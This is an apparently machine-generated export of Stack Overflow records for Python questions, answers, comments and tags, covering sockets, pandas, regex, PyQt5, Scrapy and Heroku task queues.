has body: I see examples where people create the socket object from a host and port but then also send a GET request, and include the Host header inside the http request. import socket HOST = 'daring.cwi.nl' PORT = 80 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) s.sendall("GET / HTTP/1.1\r\n\r\nHost: daring.cwi.nl") data = s.recv(1024) print('Received', repr(data)) Why do we need to provide the host once to create socket object and again to send the request?
score: 0
has title: Why include host in python socket request as well?
has answer: http://stackoverflow.com/a/48731327
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48730232
possible better answer: http://stackoverflow.com/a/48731327
type: Question

http://stackoverflow.com/comment/84630244
comment on: http://stackoverflow.com/a/48795754
type: Comment
has text: Dear Thomas, Edited with Update 2.
score: 0
type: AnswerComment

http://stackoverflow.com/a/48792204
type: Answer
upvote count: 1
has body: You need to divide this problem in parts Find the corresponding close indices Join the DataFrames on those indices do your extra calculations Find the indices using np.isclose, this is a very simple generator function which yields a DataFrame containing the index of df1 and df2 which are close for each row of df1 def find_close(df1, df1_col, df2, df2_col, tolerance=1): for index, value in df1[df1_col].items(): indices = df2.index[np.isclose(df2[df2_col].values, value, atol=tolerance)] s = pd.DataFrame(data={'idx1': index, 'idx2': indices.values}) yield s Then we can easily concatenate these to get use a helper DataFrame containing the different indices. df_idx = pd.concat(find_close(df1, 'Col0', df2, 'Col2'), ignore_index=True) To test this I added a 2nd record to df1 df1_str = '''Index, Col0, Col1 0, 1008.5155, n01 1, 510, n03''' idx1 idx2 0 0 1 1 0 2 2 1 0 Join the DataFrames using pd.merge df1_close = pd.merge(df_idx, df1, left_on='idx1', right_index=True).reindex(columns=df1.columns) df2_close = pd.merge(df_idx, df2, left_on='idx2', right_index=True).reindex(columns=df2.columns) df_merged = pd.merge(df1_close, df2_close, left_index=True, right_index=True) Col0_x Col1_x Col0_y Col1_y Col2 Col3 Col4 Col5 Col6 ... 0 1008.5155 n01 0 0 1007.6176 k13 0 k15 k16 ... 1 1008.5155 n01 0 0 1008.6248 k123 0 k25 k26 ... 2 510.0 n03 0 0 510.0103 k03 0 k05 k06 ... Do the extra calculations You'll need to rename a few columns, and assign the diff between them, but that should be trivial
score: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48790335
answers question: http://stackoverflow.com/q/48790335

http://stackoverflow.com/comment/84595286
has text: have what refreshed? Just the menu?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48796038

http://stackoverflow.com/comment/84424440
comment on: http://stackoverflow.com/a/48711423
type: Comment
has text: @Yunter You may also store it in some other variable, such as appending your list of words (tokens) into another list to use in the future. By the way, check my answer if you like it and I would love to discuss with you further on this topic.
score: 0
type: AnswerComment

pycharm
tags question: http://stackoverflow.com/q/48646481
tags question: http://stackoverflow.com/q/48742249
tags question: http://stackoverflow.com/q/48733420
tags question: http://stackoverflow.com/q/48686946
tags question: http://stackoverflow.com/q/48771747
tag name: pycharm
tags question: http://stackoverflow.com/q/48719500
tags question: http://stackoverflow.com/q/48766038
tags question: http://stackoverflow.com/q/48675883
tags question: http://stackoverflow.com/q/48784998
tags question: http://stackoverflow.com/q/48723005
tags question: http://stackoverflow.com/q/48772621
tags question: http://stackoverflow.com/q/48678317
tags question: http://stackoverflow.com/q/48740345
tags question: http://stackoverflow.com/q/48779429
tags question: http://stackoverflow.com/q/48796813
tags question: http://stackoverflow.com/q/48654738
tags question: http://stackoverflow.com/q/48651734
type: Tag
tags question: http://stackoverflow.com/q/48763290
tags question: http://stackoverflow.com/q/48702550
tags question: http://stackoverflow.com/q/48757977
tags question: http://stackoverflow.com/q/48645942
tags question: http://stackoverflow.com/q/48669629
tags question: http://stackoverflow.com/q/48701260

http://stackoverflow.com/q/48743788
answer count: 2
tagged with: iterable
score: 0
tagged with: file-io
has body: My thought was to get rid of how users are constantly using seek(0) to reset the text file reading. So instead I've tried to create a MyReader that's an collections.Iterator and then using .reset() to replace seek(0) and then it continues from where it last yielded by retaining a self.iterable object. class MyReader(collections.Iterator): def __init__(self, filename): self.filename = filename self.iterable = self.__iterate__() def __iterate__(self): with open(self.filename) as fin: for line in fin: yield line.strip() def __iter__(self): for line in self.iterable: yield line def __next__(self): return next(self.iterable) def reset(self): self.iterable = self.__iterate__() The usage would be something like: $ cat english.txt abc def ghi jkl $ python &gt;&gt;&gt; data = MyReader('english.txt') &gt;&gt;&gt; print(next(data)) abc &gt;&gt;&gt; print(next(data)) def &gt;&gt;&gt; data.reset() &gt;&gt;&gt; print(next(data)) abc My question is does this already exist in Python-verse somewhere? Esp. if there's already a native object that does something like this, I would like to avoid reinventing the wheel =) If it doesn't exist? Does the object look a little unpythonic? Since it says it's an iterator but the true Iterator is actually the self.iterable and the other functions are wrapping around it to do "resets".
has comment: http://stackoverflow.com/comment/84489075
tagged with: python
possible better answer: http://stackoverflow.com/a/48745138
favorite count: 0
has comment: http://stackoverflow.com/comment/84487829
has comment: http://stackoverflow.com/comment/84488691
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84487886
type: AnsweredQuestion
tagged with: oop
has answer: http://stackoverflow.com/a/48744283
accepted answer: http://stackoverflow.com/a/48744283
tagged with: python-collections
has title: Subclassing a file object to "fake" it as an iterable - Python
has answer: http://stackoverflow.com/a/48745138
type: Question

http://stackoverflow.com/q/48799718
answer count: 2
tagged with: pandas
has answer: http://stackoverflow.com/a/54889469
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48799804
possible better answer: http://stackoverflow.com/a/54889469
tagged with: python
has body: I'm trying to take this pivot table and create a stacked bar chart of wins and losses by battle type. import pandas as pd import numpy as np np.random.seed(1) df = pd.DataFrame({'attacker_outcome':np.random.choice(['win', 'loss'], 20, replace=True), 'battle_type':np.random.choice(['pitched battle', 'siege', 'ambush', 'razing'], 20, replace=True)}) attacker_outcome battle_type 0 loss ambush 1 loss siege 2 win ambush 3 loss siege 4 loss siege 5 win ambush 6 win siege 7 win razing 8 loss siege 9 loss ambush 10 loss razing 11 loss siege 12 win razing 13 loss razing 14 win ambush 15 win pitched battle 16 loss ambush 17 loss siege 18 win pitched battle 19 loss siege I tried to initialize a new column, groupby and count. I'm trying to create a stacked bar chart from this pivot table, and starting to get lost here. I'm getting this: df.assign(count =1 ).groupby(['attacker_outcome', 'battle_type']).count().plot.bar(stacked=True) Any help is appreciated!
type: AnsweredQuestion
tagged with: matplotlib
accepted answer: http://stackoverflow.com/a/48799804
type: Question
upvote count: 4
has title: pandas pivot table to stacked bar chart
score: 4

http://stackoverflow.com/q/48740556
tagged with: django
tagged with: python
has body: I am New to Redistogo: I have built my project 100% working with Heroku. I wanted to run few operations on Django Models (Database transactions) after the user input. Doing these operations takes a bit time and so I decided to run it through a message broker, message queue. My first preference was using Celery for this but I could not install Celery as requirement on Heroku. It did not identify "Celery-server" as one of my requirement and the push failed. So as an alternate I started using RedisToGo which is avaialable as an add on to Heroku. I was able to start the worker and even the messages were being queued to Redistogo, but the jobs were moved to Failed queue. Please find the trace logs below. 2018-02-12T06:02:19.675113+00:00 app[worker.1]: Traceback (most recent call last): 2018-02-12T06:02:19.675115+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/site-packages/rq/worker.py", line 789, in perform_job 2018-02-12T06:02:19.675116+00:00 app[worker.1]: rv = job.perform() 2018-02-12T06:02:19.675118+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/site-packages/rq/job.py", line 573, in perform 2018-02-12T06:02:19.675119+00:00 app[worker.1]: self._result = self._execute() 2018-02-12T06:02:19.675121+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/site-packages/rq/job.py", line 579, in _execute 2018-02-12T06:02:19.675123+00:00 app[worker.1]: return self.func(*self.args, **self.kwargs) 2018-02-12T06:02:19.675124+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/site-packages/rq/job.py", line 206, in func 2018-02-12T06:02:19.675126+00:00 app[worker.1]: return import_attribute(self.func_name) 2018-02-12T06:02:19.675128+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/site-packages/rq/utils.py", line 152, in import_attribute 2018-02-12T06:02:19.675130+00:00 app[worker.1]: module = importlib.import_module(module_name) 2018-02-12T06:02:19.675131+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.6/importlib…
has title: Setting up Redistogo with Django app on heroku
answer count: 1
tagged with: heroku
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48741202
type: Question
score: 0

http://stackoverflow.com/a/48795591
type: AcceptedAnswer
downvote count: 0
has body: With a positive lookahead to match .PX after the desired match: ^.*?(?=\.PX) ^.*? non-greedily matches everything upto the portion that is followed by .PX ((?=\.PX)) (?=\.PX) is zero-width positive lookahead, so does not get counted as output, only ensures the existence of .PX afterwards Example: In [55]: str_ = 'QT620.116T.00.01.0109.PX00.101920130742' In [56]: re.search(r'^.*?(?=\.PX)', str_).group() Out[56]: 'QT620.116T.00.01.0109'
type: Answer
answers question: http://stackoverflow.com/q/48795549
score: 1
accepted answer of: http://stackoverflow.com/q/48795549
upvote count: 1

http://stackoverflow.com/a/48654758
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48654661
has body: If you're using Python 2.7 input() attempts to evaluates the input as a Python expression. You want to use raw_input() instead. In Python3, input() has the desired behavior.
accepted answer of: http://stackoverflow.com/q/48654661
type: AcceptedAnswer

http://stackoverflow.com/q/48677605
linked to: http://stackoverflow.com/q/38545850
answer count: 1
favorite count: 0
has body: { "city": "Tempe", "state": "AZ", ... "attributes": [ "BikeParking: True", "BusinessAcceptsBitcoin: False", "BusinessAcceptsCreditCards: True", "BusinessParking: {'garage': False, 'street': False, 'validated': False, 'lot': True, 'valet': False}", "DogsAllowed: False", "RestaurantsPriceRange2: 2", "WheelchairAccessible: True" ], ... } Hello, I am using PySpark and I am trying to output a tuple of (state, BusinessAcceptsBitcoin), currently I am doing: csr = (dataset .filter(lambda e:"city" in e and "BusinessAcceptsBitcoin" in e) .map(lambda e: (e["city"],e["BusinessAcceptsBitcoin"])) .collect() ) But this command fails. How can I get the "BusinessAcceptsBitcoin" and "city" fields?
type: UnansweredQuestion
tagged with: python
has title: PySpark parse Json using RDD and json.load
upvote count: 2
score: 1
linked to: http://stackoverflow.com/q/48427185
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84367396
has comment: http://stackoverflow.com/comment/84367331
tagged with: pyspark
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/48678912
has comment: http://stackoverflow.com/comment/84382949
tagged with: apache-spark

http://stackoverflow.com/q/48673225
has comment: http://stackoverflow.com/comment/84348917
type: UnansweredQuestion
upvote count: 1
tagged with: python
has body: Has anyone found a way to get a stable access to GPU runtime? At the moment I follow this process: Runtime -&gt; Change runtime type -&gt; "Python 2" and "GPU" -&gt; Save -&gt; Runtime -&gt; Connec to runtime... And check if GPU is enabled: import tensorflow as tf tf.test.gpu_device_name() However, I get '', though 1 time in a 30 I was able to connect. Does anyone have any ideas what is going on?
score: 1
has comment: http://stackoverflow.com/comment/84351247
tagged with: tensorflow
type: Question
has answer: http://stackoverflow.com/a/48712042
tagged with: google-colaboratory
linked to: http://stackoverflow.com/q/48508145
has title: Can't connect to GPU runtime
downvote count: 0
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84414616
score: 3
comment on: http://stackoverflow.com/q/48707975
type: QuestionComment
type: Comment
has text: `x,y == ['rock', 'paper']`, will actually yield a tuple with the value of `x` and the result of `y == ['rock', 'paper']`

http://stackoverflow.com/q/48727533
type: Question
has body: I have the following options set for a bunch of different modules in my project: pd.set_option('display.width', 300) pd.set_option('display.max_rows', None) pd.set_option('display.max_columns', None) pd.set_option('display.precision', 15) Is there a global setting? Is there a best way to achieve this or is it common to just set them for each file?
accepted answer: http://stackoverflow.com/a/48727608
has title: Set pandas options for entire project
upvote count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/48727608
answer count: 1
favorite count: 0
tagged with: python
type: AnsweredQuestion
score: 3
downvote count: 0

http://stackoverflow.com/q/48759203
accepted answer: http://stackoverflow.com/a/48759377
score: 0
has title: Setting up QStackedWidget properly, signal cannot see function/slot
tagged with: python
type: AnsweredQuestion
tagged with: pyqt5
type: Question
has answer: http://stackoverflow.com/a/48759377
tagged with: pyqt
tagged with: qstackedwidget
answer count: 1
has body: I am working on developing a GUI with PyQt5. This is my first step into OOP, and I'm trying to teach myself as I go. I'm struggling with understanding when classes inherit methods/attributes etc and what methods they have available -- I guess it is a scope-related question? I have produced a MWE to my GUI below. In total, there will be many more pages and signals/slots. What I want: The stack should initialize with the "MainMenu" widget/object showing (left image below). Clicking on "Next Page" button should switch the stack order to put the "OtherPage" widget/object on top (right image below). I am creating each page as a class, thinking this would be a good way to organize my project. Is this good or bad practice? What happens now: The GUI works (initializes) if the line nextPg.clicked.connect(self.drawOtherPage()) is commented out, but of course then clicking on the button does nothing. I can switch the initial stack order so that "other" widget is on top of the stack and it shows up fine, so I think that class is also working. When the above line is included in the code, the following error is thrown: in __init__ nextPg.clicked.connect(self.drawOtherPage()) AttributeError: 'MainMenu' object has no attribute 'drawOtherPage' What I've tried I thought that the call to super() was supposed to allow the child class (in this case MainMenu) to inherit the methods from the parent class (RootInit). Therefore, I would think this should make the drawOtherPage method available to the button connect signal. Obviously, the error isa result of the method not being available. What am I doing wrong? Should I be creating these "page" widgets in methods instead? Do they need to be under the RootInit class or can they live in the top level of the .py file? I'm trying to follow best practices as the project will become pretty large in the end. Fortunately, most of it should be pages with variations based on what buttons were clicked to get there -- I therefore thought classes would …

http://stackoverflow.com/a/48732783
has comment: http://stackoverflow.com/comment/84471410
score: 5
upvote count: 5
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48732666
has comment: http://stackoverflow.com/comment/84464926
has body: Perhaps call .reset_index afterwards?
answers question: http://stackoverflow.com/q/48732666

http://stackoverflow.com/q/48794024
type: Question
upvote count: 2
possible better answer: http://stackoverflow.com/a/48794107
has comment: http://stackoverflow.com/comment/84590450
favorite count: 0
has comment: http://stackoverflow.com/comment/84590200
answer count: 3
tagged with: python
has answer: http://stackoverflow.com/a/48794074
has title: Appending a dynamic string to values in list
has body: I've got a list of values and I'd like to append a string to each one, however, the first value will need a different string than the rest. So given a list, names = ['John', 'Jack', 'Kelly'] How can I get 'first comes John' 'then Jack' 'then Kelly' I've tried doing a list comprehension but it didn't work out the way I was hoping. It ends up doing the else portion and completely neglecting the if portion. newnames = [] for i in range(0, len(names)): if i == 0: c = ['first comes %s'%s for s in names[i]] else: c = ['then %s'%s for s in names[i]]
has answer: http://stackoverflow.com/a/48794107
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48794109
accepted answer: http://stackoverflow.com/a/48794109
downvote count: 0

http://stackoverflow.com/comment/84374979
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48684181
has text: Thanx @Micka I understand the differences between colors spaces and the wasted data while converting digital files between them and mainly in Scanners, printers, displays. Thank you for your great details too Print is usually done using CMYK color space. Scanning mostly use sRGB and in new advanced scanners - AdobeRGB is used. Display mostly use RGB. The process of moving the image from print to scanner to display (or even loading it using OpnCV) will lead us to work with different color spaces. So how can I make sure that the blue I have in print is the same blue I have on the display?
score: 0

select-for-update
tag name: select-for-update
type: Tag
tags question: http://stackoverflow.com/q/48680132

http://stackoverflow.com/q/48740705
type: Question
score: 1
has answer: http://stackoverflow.com/a/48740905
has body: For a given python version, platform, is there a way to check if a package is available on conda (using python), other than scraping conda website ? The goal is to check using python code, and not via scraping or command line scraping. Example URL : https://anaconda.org/conda-forge/xlwt/files
tagged with: conda
answer count: 2
has title: check in python if a conda package exist
upvote count: 1
favorite count: 0
tagged with: package
tagged with: python
has answer: http://stackoverflow.com/a/48740730
downvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/48736437
tagged with: selenium
tagged with: web-scraping
score: 11
has title: How to download this video using Selenium
type: Question
tagged with: wget
answer count: 1
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
has body: I'm trying to make an python script to download videos from animefreak.tv so I can watch them offline while I'm on a roadtrip. Plus I thought it was a good opportunity to learn some webscraping. I wrote this so far to download from this link http://animefreak.tv/watch/hacklegend-twilight-bracelet-episode-1-english-dubbed-online-free URL = 'http://animefreak.tv/watch/one-piece-episode-1-english-dubbed-subbed' IFRAME_POSITION = 2 # driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true']) driver = webdriver.Chrome() driver.get(URL) src = driver.page_source parser = BeautifulSoup(src, 'lxml') driver.switch_to.frame(IFRAME_POSITION) video = driver.find_element(By.XPATH, '//*[@id="player"]/div[2]/video') touch = webdriver.TouchActions(driver) touch.tap(video) print('src: ', video.get_property('src')) driver.close() Whenever I run the script the src attribute doesn't show up. What am I doing wrong? Thank you!
has answer: http://stackoverflow.com/a/48739016
tagged with: python
upvote count: 11
type: UnansweredQuestion

http://stackoverflow.com/comment/84552306
has text: Do you currently understand what that means? What I presume to be the first element in time_list is a string, "00:00:00", which as the interpreter so rightly puts it can't be converted straight into a float, which is what matplotlib requires for its x axes. time_list is not a list of %Y-%m-%d - it appears to be %H:%M:%S. I would suggest reformatting time_list to one of the [acceptable formats of a float-castable string](https://stackoverflow.com/a/20929983/3791827) and then try again.
comment on: http://stackoverflow.com/a/48753869
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84332653
type: Comment
has text: can I use the same code to plot data from one file ? if so what modifications should be done ?
comment on: http://stackoverflow.com/a/48666903
score: 0
type: AnswerComment

http://stackoverflow.com/q/48686730
tagged with: python
has title: Scrapy: Can't select Content with Xpath, response.css in HTML Document
accepted answer: http://stackoverflow.com/a/48687466
tagged with: css
type: AnsweredQuestion
tagged with: scrapy
type: Question
has body: It's an odd one and I sit on this for nearly a week now. Maybe it's obvious and im just not seeing things right anymore... Any leads for alternative solutions are welcome, too. I have no influence on the website. I'm new to HTML. I try to get specific Links from a website using scrapy. (how many is changing) in this case RELATIVELINK1 and RELATIVELINK4; both are labeled "Details". How many tables depends on how what you are allowd to see. Before I start with the problem: I'm using scrpy shell to test responses. I get Values from all other parts of the HTML code. I tried xpath, response.css und scrapy's LinkExtractor. I tried ignoring the /p part in the path. Now, If I try to get a response with xpath : response.xpath('/html/body').extract() - I get a everything, including inside &lt;p&gt; but when i get to response.xpath('/html/body/.../p').extract() - I only get: ['&lt;p&gt;\n&lt;br&gt;\n&lt;/p&gt;'] and then response.xpath('/html/body/.../p/table').extract() - I get [ ] same for response.xpath('/html/body/.../p/br').extract() Here is the HTML segment I'm having trouble with: &lt;p&gt; &lt;BR&gt; &lt;TABLE BORDER&gt; &lt;TR&gt; &lt;TD&gt;&lt;b&gt;NAME1&lt;/b&gt;&lt;/TD&gt; &lt;TD&gt;&lt;b&gt;NAME2&lt;/b&gt;&lt;/TD&gt; &lt;TD&gt;&lt;b&gt;NAME3&lt;/b&gt;&lt;/TD&gt; &lt;TD&gt;&lt;b&gt;NAME4&lt;/b&gt;&lt;/TD&gt; &lt;TD COLSPAN=3&gt;&lt;b&gt;Links&lt;/b&gt;&lt;/TD&gt; &lt;/TR&gt; &lt;TR&gt; &lt;TD&gt;NUMBER1&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;LINK1 &lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;&amp;nbsp&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;NAME5&amp;nbsp;&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;&lt;a href=RELATIVELINK1&gt;Details&lt;/a&gt;&lt;/TD&gt; &lt;TD&gt;&lt;a href=RELATIVELINK2&gt;LABEL1&lt;/TD&gt; &lt;TD&gt;&lt;a href=RELATIVELINK3&gt;LABEL2&lt;/TD&gt; &lt;/TR&gt; &lt;TR&gt; &lt;TD&gt;NUMBER2&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;LINK2 &lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;&amp;nbsp&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;NAME5;&lt;/font&gt;&lt;/TD&gt; &lt;TD&gt;&lt;a href=RELATIVELINK4&gt;Detai…
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: xpath
has answer: http://stackoverflow.com/a/48687466

http://stackoverflow.com/a/48757155
has comment: http://stackoverflow.com/comment/84515440
answers question: http://stackoverflow.com/q/48757025
has comment: http://stackoverflow.com/comment/84516100
type: AcceptedAnswer
downvote count: 0
score: 6
has body: Is this what you want? import requests url = 'https://gbfs.fordgobike.com/gbfs/gbfs.json' data = requests.get(url).json() print(data) Number of rides available, try this: import requests url = 'https://gbfs.fordgobike.com/gbfs/en/station_status.json' data = requests.get(url).json() d = {s['station_id']:s['num_bikes_available'] for s in data['data']['stations']} print(d) Result: {'10': 28, '100': 14, '101': 8, '102': 22, '103': 0, '104': 0, '105': 5, '106': 1, '107': 14, '108': 1, '109': 2, '11': 16, '110': 10, '112': 13, '113': 5, '114': 9, ...
type: Answer
upvote count: 6
accepted answer of: http://stackoverflow.com/q/48757025

http://stackoverflow.com/comment/84529459
has text: Provide me with examples please
comment on: http://stackoverflow.com/q/48762849
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84652731
type: QuestionComment
score: 0
has text: I am using the same code as in the tutorial page (http://pytorch.org/tutorials/beginner/transfer_learning_tutorial.html). I have posted only the parts I modified in the question.
comment on: http://stackoverflow.com/q/48799502
type: Comment

http://stackoverflow.com/comment/113769088
type: Comment
comment on: http://stackoverflow.com/a/48681267
score: 1
type: AnswerComment
has text: @NaveenKumar Check out the `ColumnTransformer`, e.g., [this](https://scikit-learn.org/stable/auto_examples/compose/plot_column_transformer_mixed_types.html#use-columntransformer-by-selecting-column-by-names) example. For `ColumnTransformer` note the property `remainder` which you can use to model what happens with the columns that are not named (drop them or pass them).

http://stackoverflow.com/comment/84546150
score: 0
comment on: http://stackoverflow.com/q/48767750
type: Comment
type: QuestionComment
has text: @Piglet since that question imposes a restriction that isn't in this one, namely that they're looking for a bilinear interpolation, I don't consider them duplicate. I wouldn't settle for anything less than bicubic myself.

http://stackoverflow.com/q/48749995
has comment: http://stackoverflow.com/comment/84501122
has comment: http://stackoverflow.com/comment/84500916
accepted answer: http://stackoverflow.com/a/48750414
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/84500988
downvote count: 0
has title: Pandas rounds number to 0
score: 1
has comment: http://stackoverflow.com/comment/84500406
has comment: http://stackoverflow.com/comment/84500674
favorite count: 0
has comment: http://stackoverflow.com/comment/84500741
has comment: http://stackoverflow.com/comment/84500340
tagged with: python
possible better answer: http://stackoverflow.com/a/48750615
has comment: http://stackoverflow.com/comment/84501247
has answer: http://stackoverflow.com/a/48750414
has answer: http://stackoverflow.com/a/48750615
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84500534
upvote count: 1
has comment: http://stackoverflow.com/comment/84501454
type: Question
has body: I'm trying to assign a value to a cell, yet Pandas rounds it to zero. (I'm using Python 3.6) in: df['column1']['row1'] = 1 / 331616 in: print(df['column1']['row1']) out: 0 But if I try to assign this value to a standard Python dictionary key, it works fine. in: {'column1': {'row1': 1/331616}} out: {'column1': {'row1': 3.0155360416867704e-06}} I've already done this, but it didn't help: pd.set_option('precision',50) pd.set_option('chop_threshold', .00000000005) Please, help.

http://stackoverflow.com/q/48766723
type: Question
has answer: http://stackoverflow.com/a/48767767
score: 0
answer count: 1
has title: Import error "No module named selenium" when returning to Python project
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84533788
has body: I have a python project with Selenium that I was working on a year ago. When I came back to work on it and tried to run it I get the error ImportError: No module named selenium. I then ran pip install selenium inside the project which gave me Requirement already satisfied: selenium in some/local/path. How can I make my project compiler (is that the right terminology?) see my project dependencies?
tagged with: selenium
tagged with: import

http://stackoverflow.com/q/48681843
has title: List all files from outside Windows 7 VM
tagged with: samba
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48684093
has body: I am running Win7 in VirtualBox VM and my goal is listing the list of files that are inside the Win7 VM from outside the VM, for example, I want to use python client. I have network access to the VM, is the best practice is sharing all the files and folders using Samba and accessing through the network with python client? Any more suggestions? I want also to be able to download the files. (The client will run on OSX/Linux)
tagged with: windows
downvote count: 0
score: 1
favorite count: 0
type: Question
upvote count: 1
tagged with: python
answer count: 1
tagged with: virtualbox

union
type: Tag
tag name: union
tags question: http://stackoverflow.com/q/48784937

http://stackoverflow.com/q/48682916
has comment: http://stackoverflow.com/comment/84363186
score: -4
tagged with: ipython
answer count: 4
has comment: http://stackoverflow.com/comment/84363048
has answer: http://stackoverflow.com/a/48683103
has title: Edit Json file With Python?
favorite count: 0
tagged with: python-3.x
type: Question
has answer: http://stackoverflow.com/a/49585941
has comment: http://stackoverflow.com/comment/84363184
tagged with: python
tagged with: jupyter-notebook
downvote count: 6
has answer: http://stackoverflow.com/a/48683146
has comment: http://stackoverflow.com/comment/84365889
upvote count: 2
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/48683185
has body: I am new in python. also never work with JSON. I have json file which I can't open because of missing "," in line 8. so how to fix this with python.and i went know how to handle missing values in JSON file with python json lib. i use python3 with ipython python script which i use: import json with open('name_dob_height.json') as json_file: d = json.load(json_file) print(d) and error massage last line: JSONDecodeError: Expecting ',' delimiter: line 8 column 3 (char 109) json_file = [ { "First_name": "Nathan", "Last_name": "Astle", "Date_of_birth": "1971-05-18", "Height": "155" }{ "First_name": "Nathan", "Last_name": "Astle", "Date_of_birth": "1971-05-19", "Height": "155" }, { "First_name": "Arthur", "Last_name": "Harrison", "Date_of_birth": "1982-01-29", "Height": "168" }, { "First_name": "Cameron", "Last_name": "White", "Date_of_birth": "1982-01-29", "Height": "170" }, { "First_name": "Steve", "Last_name": "Finn", "Date_of_birth": "1971-05-18", "Height": "189" }, { "First_name": "Elliot", "Last_name": "Luca", "Date_of_birth": "1971-05-18", "Height": "172" }, { "First_name": "Methews", "Last_name": "Haiden", "Date_of_birth": "1971-05-18", "Height": "165" }, { "First_name": "John", "Last_name": "Smith", "Date_of_birth": "1971-05-18", "Height": "invalid string" }, { "First_name": "Daniel", "Last_name": "Clerk", "Date_of_birth": "1971-05-18", "Height": "190" }, { "First_name": "Allan", "Last_name": "Hernandez", "Date_of_birth": "1981-01-19", "Height": "178" }, { "First_name": "Harley", "Last_name": "Smith", "Date_of_birth": "1988-05-21", "Height": "185" }, { "First_name": "Nathaniel", "Last_name": "Stewert", "Date_of_birth": "1980-08-10", "Height": "125" }, { "First_name": "Michael", "Last_name": "Johnson", "Date_of_birth": "1990-03-26", "Height": "152" } ]
has comment: http://stackoverflow.com/comment/84366078
has comment: http://stackoverflow.com/comment/84366029
has comment: http://stackoverflow.com/comment/84364251
has comment: http://stackoverflow.com/comment/86180021
type: UnansweredQuestion

http://stackoverflow.com/q/48708862
duplicate of: http://stackoverflow.com/q/44954636
tagged with: python
answer count: 0
tagged with: matplotlib
type: Question
tagged with: numpy
duplicate of: http://stackoverflow.com/q/7778343
has body: How can I plot 3D data as a 2D grid plot in Python? Similar to hist2D where the third dimension is not frequency but my own data. Let me illustrate: import numpy as np import matplotlib.pyplot as plt # Making some points npoints = 500 x = np.random.uniform(low=0, high=3, size=npoints) y = np.random.uniform(low=-3, high=3, size=npoints) z = np.random.uniform(low=0, high=10, size=npoints) # plot X Y Z as a grid plot # like plt.hist2d(x, y) but where frequency = z plt.colorbar() plt.show() Similar question but didn't help: Color 2D Grid with values from separate 2D array
score: 0
tagged with: histogram
has comment: http://stackoverflow.com/comment/84452457
has comment: http://stackoverflow.com/comment/84417466
linked to: http://stackoverflow.com/q/36751665
tagged with: seaborn
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84452301
has title: 2D grid data visualisation in Python of 3D data

http://stackoverflow.com/comment/84550799
type: QuestionComment
comment on: http://stackoverflow.com/q/48774420
has text: @piRSquared what I meant is object columns with blank string in some of the rows. Majority of them are not empty. I cannot convert those columns to numeric.
score: 0
type: Comment

http://stackoverflow.com/a/48713327
type: AcceptedAnswer
downvote count: 0
score: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/48665232
answers question: http://stackoverflow.com/q/48665232
has body: The solution that worked for me is import boto3 import pandas as pd from io import BytesIO from pyarrow.feather import write_feather df = pd.DataFrame({'a': [1, 4], 'b': [1, 3]}) s3_resource = boto3.resource('s3') with BytesIO() as f: write_feather(df, f) s3_resource.Object('bucket-name', 'file_name').put(Body=f.getvalue())
upvote count: 5

http://stackoverflow.com/a/48979986
score: 1
upvote count: 1
has body: Tornado's HTTP clients expect either a dict or a tornado.httputil.HTTPHeaders object as the headers argument. Do not try to encode the headers yourself.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48791033

http://stackoverflow.com/q/48712098
has answer: http://stackoverflow.com/a/48712453
linked to: http://stackoverflow.com/q/509211
has comment: http://stackoverflow.com/comment/84423906
favorite count: 0
tagged with: tuples
has title: convert list elements into list of tuples
accepted answer: http://stackoverflow.com/a/48714978
tagged with: python
tagged with: lambda
answer count: 4
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/48714978
possible better answer: http://stackoverflow.com/a/48712453
downvote count: 1
has answer: http://stackoverflow.com/a/48712477
type: Question
score: 1
tagged with: list-comprehension
linked to: http://stackoverflow.com/q/13704860
upvote count: 2
